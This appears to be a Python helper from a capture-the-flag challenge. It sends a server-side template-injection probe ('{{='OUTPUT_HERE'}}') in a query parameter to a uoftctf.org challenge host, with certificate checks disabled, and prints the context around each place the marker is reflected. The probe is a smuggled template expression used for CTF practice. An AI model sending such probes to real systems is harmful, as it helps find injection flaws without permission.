import requests
import urllib3

urllib3.disable_warnings()

r = requests.get('https://vulnerability-research-dbfd88d4dab49dc2.chals.uoftctf.org/welcome/default/index', 
                 params={'test': "{{='OUTPUT_HERE'}}"}, verify=False)

# Find all occurrences
text = r.text
marker = "OUTPUT_HERE"
idx = 0
count = 0

while True:
    idx = text.find(marker, idx)
    if idx == -1:
        break
    
    count += 1
    print(f"\n{'='*60}")
    print(f"Occurrence #{count} at position {idx}")
    print(f"{'='*60}")
    
    # Show context
    start = max(0, idx - 300)
    end = min(len(text), idx + 300)
    context = text[start:end]
    
    print(context)
    print()
    
    idx += 1

print(f"\nTotal occurrences: {count}")
